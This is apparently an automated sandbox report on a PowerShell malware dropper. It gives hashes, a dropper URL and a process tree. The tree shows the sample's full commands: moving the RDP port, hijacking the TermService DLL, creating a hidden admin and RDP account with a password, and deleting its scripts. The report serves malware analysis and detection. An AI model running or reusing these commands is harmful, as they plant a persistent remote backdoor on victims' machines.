33b67683431e39555b531d26199b4a5f101e55adf10e30fc4ed31e58da898613

Analysis

max time kernel
46s
max time network
151s
platform
windows10_x64
resource
win10v20210410
submitted
09-07-2021 21:17

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

resolve-domain.ps1
Size

2.5MB
MD5

1c42eeda1f1bcf1b607aae8a13af258a
SHA1

3ceae3bbf209e777069cad37f0073c00564b7060
SHA256

300199ee623af4efb07d6904e943bb1807f9e58efb6cae448630aa3c16e4fb75
SHA512

5579df57fcbb7a4958cb2630e9d4fe7cbbd10821182227e1a64c522c98e254135720f26eda05c2e9c5959b40fed480e90aa10ba47be602d8c843ac965d8a0853

Score

10^/10

persistence upx

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://raw.githubusercontent.com/sqlitey/sqlite/master/speed.ps1

Signatures

Grants admin privileges 1 TTPs
Uses net.exe to modify the user's privileges.

Account Manipulation
T1098

Blocklisted process makes network request 9 IoCs

flow	pid	Process
15	2464	powershell.exe
17	2464	powershell.exe
18	2464	powershell.exe
19	2464	powershell.exe
21	2464	powershell.exe
23	2464	powershell.exe
25	2464	powershell.exe
27	2464	powershell.exe
29	2464	powershell.exe

Modifies RDP port number used by Windows 1 TTPs

Remote Desktop Protocol
T1076
Sets DLL path for service in the registry 2 TTPs
persistence

Registry Run Keys / Startup Folder
T1060

Modify Registry
T1112

UPX packed file 2 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/files/0x000700000001ab52-331.dat	upx
behavioral2/files/0x000300000001ab59-332.dat	upx

Deletes itself 1 IoCs

pid	Process
3968	powershell.exe

Loads dropped DLL 2 IoCs

pid	Process
1932	Process not Found
1932	Process not Found

Drops file in Program Files directory 4 IoCs

description	ioc	Process
File opened for modification	C:\Program Files\Uninstall Information\IE40.UserAgent\IE40.UserAgent.DAT	powershell.exe
File opened for modification	C:\Program Files\Uninstall Information\IE40.UserAgent\IE40.UserAgent.INI	powershell.exe
File opened for modification	C:\Program Files\Uninstall Information\IE.HKCUZoneInfo\IE.HKCUZoneInfo.DAT	powershell.exe
File opened for modification	C:\Program Files\Uninstall Information\IE.HKCUZoneInfo\IE.HKCUZoneInfo.INI	powershell.exe

Drops file in Windows directory 19 IoCs

description	ioc	Process
File opened for modification	C:\Windows\branding\mediasrv.png	powershell.exe
File created	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\__PSScriptPolicyTest_jhijrodu.g1a.ps1	powershell.exe
File created	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\__PSScriptPolicyTest_5xd23xes.njo.psm1	powershell.exe
File opened for modification	C:\Windows\SERVIC~2\NETWOR~1\AppData\Local\Temp\RGI3FD0.tmp	powershell.exe
File opened for modification	C:\Windows\SERVIC~2\NETWOR~1\AppData\Local\Temp\RGI3FFF.tmp	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\INetCache\counters2.dat	powershell.exe
File created	C:\Windows\branding\mediasrv.png	powershell.exe
File opened for modification	C:\Windows\branding\Basebrd	powershell.exe
File opened for modification	C:\Windows\SERVIC~2\NETWOR~1\AppData\Local\Temp\RGI4010.tmp	powershell.exe
File created	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log	powershell.exe
File created	C:\Windows\branding\wupsvc.jpg	powershell.exe
File opened for modification	C:\Windows\branding\ShellBrd	powershell.exe
File opened for modification	C:\Windows\branding\mediasvc.png	powershell.exe
File created	C:\Windows\SERVIC~2\NETWOR~1\AppData\Local\Temp\TMP4352$.TMP	powershell.exe
File opened for modification	C:\Windows\SERVIC~2\NETWOR~1\AppData\Local\Temp\RGI3F8F.tmp	powershell.exe
File opened for modification	C:\Windows\SERVIC~2\NETWOR~1\AppData\Local\Temp\RGI3FAF.tmp	powershell.exe
File created	C:\Windows\branding\mediasvc.png	powershell.exe
File created	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\branding\wupsvc.jpg	powershell.exe

Modifies data under HKEY_USERS 64 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Advanced INF Setup\IE.HKCUZoneInfo\RegBackup	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\0\1200 = "3"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\3\LowIcon = "inetcpl.cpl#005425"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\4\Description = "This zone contains Web sites that could potentially damage your computer or data."	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\1\PMDisplayName = "Local intranet [Protected Mode]"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\3\DisplayName = "Internet"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\2\1200 = "3"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0\PMDisplayName = "My Computer [Protected Mode]"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1\1400 = "0"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0\Description = "Your computer"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "1"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\2\CurrentLevel = "0"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProtocolDefaults\http = "3"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3\LowIcon = "inetcpl.cpl#005425"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\4\Description = "This zone contains Web sites that could potentially damage your computer or data."	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0\1200 = "0"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\2	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3\Icon = "inetcpl.cpl#001313"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\0\Flags = "33"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProtocolDefaults	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Advanced INF Setup\IE.HKCUZoneInfo\RegBackup\0.map\57fd7ae31ab34c2c = ",33,HKCU,SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\5.0\\Cache\\Extensible Cache,"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\4\LowIcon = "inetcpl.cpl#005426"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\0\Description = "Your computer"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProtocolDefaults\file = "3"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\2\1200 = "0"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\Ranges	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1\Icon = "shell32.dll#0018"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\4\DisplayName = "Restricted sites"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Advanced INF Setup\IE.HKCUZoneInfo	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\0\CurrentLevel = "0"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\1	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\0\PMDisplayName = "Computer [Protected Mode]"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\CA	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3\DisplayName = "Internet"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\2\Flags = "33"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\0\DisplayName = "Computer"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Set value (data)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Advanced INF Setup\IE40.UserAgent\RegBackup\0\ef29a4ec885fa451 = 2c0053006f006600740077006100720065005c004d006900630072006f0073006f00660074005c00570069006e0064006f00770073005c00430075007200720065006e007400560065007200730069006f006e005c0049006e007400650072006e00650074002000530065007400740069006e00670073002c00550073006500720020004100670065006e0074002c000000010054004d006f007a0069006c006c0061002f0035002e0030002000280063006f006d00700061007400690062006c0065003b0020004d00530049004500200039002e0030003b002000570069006e003300320029000000000000000000	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1\PMDisplayName = "Local intranet [Protected Mode]"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\2\Icon = "inetcpl.cpl#00004480"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\4\PMDisplayName = "Restricted sites [Protected Mode]"	powershell.exe
Set value (data)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Advanced INF Setup\IE.HKCUZoneInfo\RegBackup\0\57fd7ae31ab34c2c = 2c0053004f004600540057004100520045005c004d006900630072006f0073006f00660074005c00570069006e0064006f00770073005c00430075007200720065006e007400560065007200730069006f006e005c0049006e007400650072006e00650074002000530065007400740069006e00670073005c0035002e0030005c00430061006300680065002c000000	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1\Flags = "219"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\2\PMDisplayName = "Trusted sites [Protected Mode]"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\2\CurrentLevel = "69632"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\3\1400 = "1"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	WMIC.exe

Modifies registry key 1 TTPs 1 IoCs

Modify Registry

T1112

pid	Process
2248	reg.exe

Runs net.exe

Script User-Agent 4 IoCs

Uses user-agent string associated with script host/environment.

description	flow	ioc
HTTP User-Agent header	17	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	18	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	19	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	21	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)

Suspicious behavior: EnumeratesProcesses 18 IoCs

pid	Process
3968	powershell.exe
3968	powershell.exe
3968	powershell.exe
2024	powershell.exe
2024	powershell.exe
2024	powershell.exe
912	powershell.exe
912	powershell.exe
912	powershell.exe
3480	powershell.exe
3480	powershell.exe
3480	powershell.exe
3968	powershell.exe
3968	powershell.exe
3968	powershell.exe
2464	powershell.exe
2464	powershell.exe
2464	powershell.exe

Suspicious behavior: LoadsDriver 2 IoCs

pid	Process
624	Process not Found
624	Process not Found

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	3968	powershell.exe
Token: SeDebugPrivilege	2024	powershell.exe
Token: SeIncreaseQuotaPrivilege	2024	powershell.exe
Token: SeSecurityPrivilege	2024	powershell.exe
Token: SeTakeOwnershipPrivilege	2024	powershell.exe
Token: SeLoadDriverPrivilege	2024	powershell.exe
Token: SeSystemProfilePrivilege	2024	powershell.exe
Token: SeSystemtimePrivilege	2024	powershell.exe
Token: SeProfSingleProcessPrivilege	2024	powershell.exe
Token: SeIncBasePriorityPrivilege	2024	powershell.exe
Token: SeCreatePagefilePrivilege	2024	powershell.exe
Token: SeBackupPrivilege	2024	powershell.exe
Token: SeRestorePrivilege	2024	powershell.exe
Token: SeShutdownPrivilege	2024	powershell.exe
Token: SeDebugPrivilege	2024	powershell.exe
Token: SeSystemEnvironmentPrivilege	2024	powershell.exe
Token: SeRemoteShutdownPrivilege	2024	powershell.exe
Token: SeUndockPrivilege	2024	powershell.exe
Token: SeManageVolumePrivilege	2024	powershell.exe
Token: 33	2024	powershell.exe
Token: 34	2024	powershell.exe
Token: 35	2024	powershell.exe
Token: 36	2024	powershell.exe
Token: SeDebugPrivilege	912	powershell.exe
Token: SeIncreaseQuotaPrivilege	912	powershell.exe
Token: SeSecurityPrivilege	912	powershell.exe
Token: SeTakeOwnershipPrivilege	912	powershell.exe
Token: SeLoadDriverPrivilege	912	powershell.exe
Token: SeSystemProfilePrivilege	912	powershell.exe
Token: SeSystemtimePrivilege	912	powershell.exe
Token: SeProfSingleProcessPrivilege	912	powershell.exe
Token: SeIncBasePriorityPrivilege	912	powershell.exe
Token: SeCreatePagefilePrivilege	912	powershell.exe
Token: SeBackupPrivilege	912	powershell.exe
Token: SeRestorePrivilege	912	powershell.exe
Token: SeShutdownPrivilege	912	powershell.exe
Token: SeDebugPrivilege	912	powershell.exe
Token: SeSystemEnvironmentPrivilege	912	powershell.exe
Token: SeRemoteShutdownPrivilege	912	powershell.exe
Token: SeUndockPrivilege	912	powershell.exe
Token: SeManageVolumePrivilege	912	powershell.exe
Token: 33	912	powershell.exe
Token: 34	912	powershell.exe
Token: 35	912	powershell.exe
Token: 36	912	powershell.exe
Token: SeDebugPrivilege	3480	powershell.exe
Token: SeIncreaseQuotaPrivilege	3480	powershell.exe
Token: SeSecurityPrivilege	3480	powershell.exe
Token: SeTakeOwnershipPrivilege	3480	powershell.exe
Token: SeLoadDriverPrivilege	3480	powershell.exe
Token: SeSystemProfilePrivilege	3480	powershell.exe
Token: SeSystemtimePrivilege	3480	powershell.exe
Token: SeProfSingleProcessPrivilege	3480	powershell.exe
Token: SeIncBasePriorityPrivilege	3480	powershell.exe
Token: SeCreatePagefilePrivilege	3480	powershell.exe
Token: SeBackupPrivilege	3480	powershell.exe
Token: SeRestorePrivilege	3480	powershell.exe
Token: SeShutdownPrivilege	3480	powershell.exe
Token: SeDebugPrivilege	3480	powershell.exe
Token: SeSystemEnvironmentPrivilege	3480	powershell.exe
Token: SeRemoteShutdownPrivilege	3480	powershell.exe
Token: SeUndockPrivilege	3480	powershell.exe
Token: SeManageVolumePrivilege	3480	powershell.exe
Token: 33	3480	powershell.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 3968 wrote to memory of 2024	3968	powershell.exe	76
PID 3968 wrote to memory of 2024	3968	powershell.exe	76
PID 3968 wrote to memory of 912	3968	powershell.exe	81
PID 3968 wrote to memory of 912	3968	powershell.exe	81
PID 3968 wrote to memory of 3480	3968	powershell.exe	83
PID 3968 wrote to memory of 3480	3968	powershell.exe	83
PID 3968 wrote to memory of 3492	3968	powershell.exe	86
PID 3968 wrote to memory of 3492	3968	powershell.exe	86
PID 3968 wrote to memory of 2248	3968	powershell.exe	87
PID 3968 wrote to memory of 2248	3968	powershell.exe	87
PID 3968 wrote to memory of 2348	3968	powershell.exe	88
PID 3968 wrote to memory of 2348	3968	powershell.exe	88
PID 3968 wrote to memory of 3712	3968	powershell.exe	89
PID 3968 wrote to memory of 3712	3968	powershell.exe	89
PID 3712 wrote to memory of 3228	3712	net.exe	90
PID 3712 wrote to memory of 3228	3712	net.exe	90
PID 3968 wrote to memory of 2356	3968	powershell.exe	91
PID 3968 wrote to memory of 2356	3968	powershell.exe	91
PID 2356 wrote to memory of 2024	2356	cmd.exe	92
PID 2356 wrote to memory of 2024	2356	cmd.exe	92
PID 2024 wrote to memory of 2372	2024	cmd.exe	93
PID 2024 wrote to memory of 2372	2024	cmd.exe	93
PID 2372 wrote to memory of 1968	2372	net.exe	94
PID 2372 wrote to memory of 1968	2372	net.exe	94
PID 3968 wrote to memory of 3864	3968	powershell.exe	95
PID 3968 wrote to memory of 3864	3968	powershell.exe	95
PID 3864 wrote to memory of 3640	3864	cmd.exe	96
PID 3864 wrote to memory of 3640	3864	cmd.exe	96
PID 3640 wrote to memory of 2644	3640	cmd.exe	97
PID 3640 wrote to memory of 2644	3640	cmd.exe	97
PID 2644 wrote to memory of 2252	2644	net.exe	98
PID 2644 wrote to memory of 2252	2644	net.exe	98
PID 1920 wrote to memory of 2188	1920	cmd.exe	102
PID 1920 wrote to memory of 2188	1920	cmd.exe	102
PID 2188 wrote to memory of 1560	2188	net.exe	103
PID 2188 wrote to memory of 1560	2188	net.exe	103
PID 2008 wrote to memory of 3340	2008	cmd.exe	106
PID 2008 wrote to memory of 3340	2008	cmd.exe	106
PID 3340 wrote to memory of 3860	3340	net.exe	107
PID 3340 wrote to memory of 3860	3340	net.exe	107
PID 496 wrote to memory of 3940	496	cmd.exe	110
PID 496 wrote to memory of 3940	496	cmd.exe	110
PID 3940 wrote to memory of 4076	3940	net.exe	111
PID 3940 wrote to memory of 4076	3940	net.exe	111
PID 2144 wrote to memory of 1428	2144	cmd.exe	114
PID 2144 wrote to memory of 1428	2144	cmd.exe	114
PID 1428 wrote to memory of 2008	1428	net.exe	115
PID 1428 wrote to memory of 2008	1428	net.exe	115
PID 2064 wrote to memory of 2356	2064	cmd.exe	118
PID 2064 wrote to memory of 2356	2064	cmd.exe	118
PID 2356 wrote to memory of 496	2356	net.exe	119
PID 2356 wrote to memory of 496	2356	net.exe	119
PID 3712 wrote to memory of 3808	3712	cmd.exe	122
PID 3712 wrote to memory of 3808	3712	cmd.exe	122
PID 3808 wrote to memory of 3520	3808	net.exe	123
PID 3808 wrote to memory of 3520	3808	net.exe	123
PID 2024 wrote to memory of 1968	2024	cmd.exe	126
PID 2024 wrote to memory of 1968	2024	cmd.exe	126
PID 2144 wrote to memory of 4048	2144	cmd.exe	129
PID 2144 wrote to memory of 4048	2144	cmd.exe	129
PID 2864 wrote to memory of 2064	2864	cmd.exe	132
PID 2864 wrote to memory of 2064	2864	cmd.exe	132
PID 2064 wrote to memory of 2464	2064	cmd.exe	133
PID 2064 wrote to memory of 2464	2064	cmd.exe	133

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -ExecutionPolicy bypass -File C:\Users\Admin\AppData\Local\Temp\resolve-domain.ps1
1⤵
- Deletes itself
- Drops file in Windows directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3968
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2024
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:912
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3480
- C:\Windows\system32\reg.exe
  "C:\Windows\system32\reg.exe" ADD "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x1C21 /f
  2⤵
  PID:3492
- C:\Windows\system32\reg.exe
  "C:\Windows\system32\reg.exe" add HKLM\system\currentcontrolset\services\TermService\parameters /v ServiceDLL /t REG_EXPAND_SZ /d C:\Windows\branding\mediasrv.png /f
  2⤵
  - Modifies registry key
  PID:2248
- C:\Windows\system32\reg.exe
  "C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v fEnableWddmDriver /t reg_dword /d 0 /f
  2⤵
  PID:2348
- C:\Windows\system32\net.exe
  "C:\Windows\system32\net.exe" localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3712
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
    3⤵
    PID:3228
- C:\Windows\system32\cmd.exe
  "C:\Windows\system32\cmd.exe" /c cmd /c net start rdpdr
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2356
- - C:\Windows\system32\cmd.exe
    cmd /c net start rdpdr
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2024
  - - C:\Windows\system32\net.exe
      net start rdpdr
      4⤵
      Suspicious use of WriteProcessMemory
      PID:2372
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 start rdpdr
        5⤵
        
        PID:1968
- C:\Windows\system32\cmd.exe
  "C:\Windows\system32\cmd.exe" /c cmd /c net start TermService
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3864
- - C:\Windows\system32\cmd.exe
    cmd /c net start TermService
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3640
  - - C:\Windows\system32\net.exe
      net start TermService
      4⤵
      Suspicious use of WriteProcessMemory
      PID:2644
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 start TermService
        5⤵
        
        PID:2252
- C:\Windows\system32\cmd.exe
  "C:\Windows\system32\cmd.exe" /c del %temp%\*.ps1 /f
  2⤵
  PID:4076
- C:\Windows\system32\cmd.exe
  "C:\Windows\system32\cmd.exe" /c del %temp%\*.txt /f
  2⤵
  PID:1760

C:\Windows\System32\cmd.exe
cmd /C net.exe user WgaUtilAcc 000000 /del
1⤵
- Suspicious use of WriteProcessMemory
PID:1920
- C:\Windows\system32\net.exe
  net.exe user WgaUtilAcc 000000 /del
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2188
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user WgaUtilAcc 000000 /del
    3⤵
    PID:1560

C:\Windows\System32\cmd.exe
cmd /C net.exe user WgaUtilAcc ZpJW1EDq /add
1⤵
- Suspicious use of WriteProcessMemory
PID:2008
- C:\Windows\system32\net.exe
  net.exe user WgaUtilAcc ZpJW1EDq /add
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3340
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user WgaUtilAcc ZpJW1EDq /add
    3⤵
    PID:3860

C:\Windows\System32\cmd.exe
cmd /C net.exe LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
1⤵
- Suspicious use of WriteProcessMemory
PID:496
- C:\Windows\system32\net.exe
  net.exe LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3940
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
    3⤵
    PID:4076

C:\Windows\System32\cmd.exe
cmd /C net.exe LOCALGROUP "Remote Desktop Users" RJMQBVDN$ /ADD
1⤵
- Suspicious use of WriteProcessMemory
PID:2144
- C:\Windows\system32\net.exe
  net.exe LOCALGROUP "Remote Desktop Users" RJMQBVDN$ /ADD
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1428
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" RJMQBVDN$ /ADD
    3⤵
    PID:2008

C:\Windows\System32\cmd.exe
cmd /C net.exe LOCALGROUP "Administrators" WgaUtilAcc /ADD
1⤵
- Suspicious use of WriteProcessMemory
PID:2064
- C:\Windows\system32\net.exe
  net.exe LOCALGROUP "Administrators" WgaUtilAcc /ADD
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2356
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 LOCALGROUP "Administrators" WgaUtilAcc /ADD
    3⤵
    PID:496

C:\Windows\System32\cmd.exe
cmd /C net.exe user WgaUtilAcc ZpJW1EDq
1⤵
- Suspicious use of WriteProcessMemory
PID:3712
- C:\Windows\system32\net.exe
  net.exe user WgaUtilAcc ZpJW1EDq
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3808
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user WgaUtilAcc ZpJW1EDq
    3⤵
    PID:3520

C:\Windows\System32\cmd.exe
cmd.exe /C wmic path win32_VideoController get name
1⤵
- Suspicious use of WriteProcessMemory
PID:2024
- C:\Windows\System32\Wbem\WMIC.exe
  wmic path win32_VideoController get name
  2⤵
  PID:1968

C:\Windows\System32\cmd.exe
cmd.exe /C wmic CPU get NAME
1⤵
- Suspicious use of WriteProcessMemory
PID:2144
- C:\Windows\System32\Wbem\WMIC.exe
  wmic CPU get NAME
  2⤵
  - Modifies data under HKEY_USERS
  PID:4048

C:\Windows\System32\cmd.exe
